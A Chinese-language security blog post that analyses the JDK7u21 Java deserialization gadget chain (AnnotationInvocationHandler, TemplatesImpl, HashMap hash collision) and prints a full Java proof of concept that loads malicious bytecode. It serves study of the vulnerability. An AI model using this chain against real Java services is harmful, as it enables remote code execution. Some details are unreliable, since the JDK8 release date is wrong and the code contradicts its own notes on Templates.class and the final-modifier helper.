jdk原生链分析
JDK7u21
在很多链中,TemplatesImpl一直发挥着不可或缺的作用,它是位于jdk源码中的一段Gadget:getOutputProperties()->newTransformer()->getTransletInstance()->...
其中只要能触发上述任意一个函数的,都可以完成TemplatesImpl的动态加载字节码功能。
还记得sun.reflect.annotation.AnnotationInvocationHandler
嘛?这可是java反序列化中的重要角色。而jdk7u21算是对其利用的再挖掘。
为了简单直接,我把反编译的代码中的var变量替换了自定义变量
//AnnotationInvocationHandler.java
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] methods = this.getMemberMethods();//获取this.type的所有方法
int methods_num = methods.length;
for(int var4 = 0; var4 < methods_num; ++var4) {
Method var5 = methods[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);//判断var1是否是代理类
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1); //调用任意方法
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}
if (!memberValueEquals(var7, var8)) {
return false;
}
}
return true;
}
}
private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}
return this.memberMethods;
}
到这里,可以看到this.memberMethods可控,到现在也就是说如果能让AnnotationInvocationHandler调用equalImpl方法,且控制其中的memberMethods,就可以完成任意方法的调用了。
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else {
......
}
}
关键逻辑
:如果代理对象调用了equals方法,且满足equals方法有且仅有一个Object类型的参数。
//HashMap.java
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
map类在反序列化时肯定进行put操作,这时,我们直接看put方法。其中会有equals操作,前提是key的hash相等,但key不等,相当于就是做hash碰撞》》》也就是让proxy的hash与Templates的hash相等
hashMap#put->hashcode相等,所以直接调用AnnotationInvocationHandler#equalsImpl->再就是上面分析的利用
package sec.aur0ra;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.ByteArrayInputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.annotation.Annotation;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class Gadget {
public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
//read evil bytecode-1
//InputStream is = Aur0ra.class.getResourceAsStream("Aur0ra.class");
//read evil bytecode-2
FileInputStream is = new FileInputStream("D:\\Projects\\JAVA\\jdkSer\\target\\test-classes\\Aur0ra.class");
int available = is.available();
byte[] bytes = new byte[available];
is.read(bytes,0,available);
//construct TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> clazz = templates.getClass();
Field bytecodes = clazz.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{bytes});
Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Aur0ra");
Class<?> annoClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = annoClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object anno = declaredConstructor.newInstance(Annotation.class,new HashMap());
//set anno.type
setValue(anno,"type",TemplatesImpl.class);
unsetFinal(anno,"memberMethods");
setValue(anno,"memberMethods",new Method[]{clazz.getDeclaredMethod("getOutputProperties")});
Map proxy = (Map) Proxy.newProxyInstance(Gadget.class.getClassLoader(), new Class[]{Map.class}, (InvocationHandler) anno);
HashMap map = new HashMap();
map.put("f5a5a608", templates);
unsetFinal(anno,"memberValues");
setValue(anno,"memberValues",map);
HashMap hashMap = new HashMap();
hashMap.put(templates,templates);
hashMap.put(proxy,123);
}
public static void setValue(Object obj,String filed,Object value){
try {
Field declaredField = obj.getClass().getDeclaredField(filed);
declaredField.setAccessible(true);
declaredField.set(obj,value);
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
}
public static void unsetFinal(Object obj,String field) throws NoSuchFieldException, IllegalAccessException {
Class<?> aClass = obj.getClass();
Field declaredField = aClass.getDeclaredField(field);
Field modifiers = declaredField.getClass().getDeclaredField("modifiers");
modifiers.setAccessible(true);
modifiers.set(declaredField,declaredField.getModifiers()&~Modifier.TRANSIENT);
}
}
疑点重重
为什么采用TemplatesImpl#newTransformer,而不直接采用getTransletInstance?
你试试就知道了。是因为最后调用时,getTransletInstance是private方法,无法被触发,所以采用了newTransformer,当然采用getOutputProperties也是可以的。
为什么很多地方给的不是hashmap而是LinkedHashSet等?
采用LinkedHashSet是因为它重新进行put时,会按照既定的顺序,会直接影响利用结果。这里的话,似乎影响不大,但也有可能出现错误。
type需要使用Templates.class,而不是TemplatesImpl.class
修复与分析
为什么jdk7u21前的版本中,不是Annotation类照样可以成功运行exp呢?
可以看到,这里type已成功赋值为目标Class对象,所以下面return的时候,不影响序列化的结果。
如果不一致,就直接抛出异常,从而结束执行。
如果抛出异常被try-catch处理后,特殊情况下是不是会存在被利用的可能性呢?
拓展分析
jdk的很多版本都是并行开发的,那是不是说有可能这个jdk7u21在其他版本的jdk中也存在呢?
通过对比开发时间,jdk8出来时(2017年),这个已经被修复了,所以以上就不存在利用了。那是不是jdk<jdk7都存在这个洞呢?也不是,因为是并行开发的,jdk6或者其他版本也是在更新迭代,所以也只有部分jdk6或者其他版本收到影响。
JDK8u20
这里就先不做分析了,更多的是涉及序列化处理的操作。再另一篇文章分析。
参考
java 安全漫谈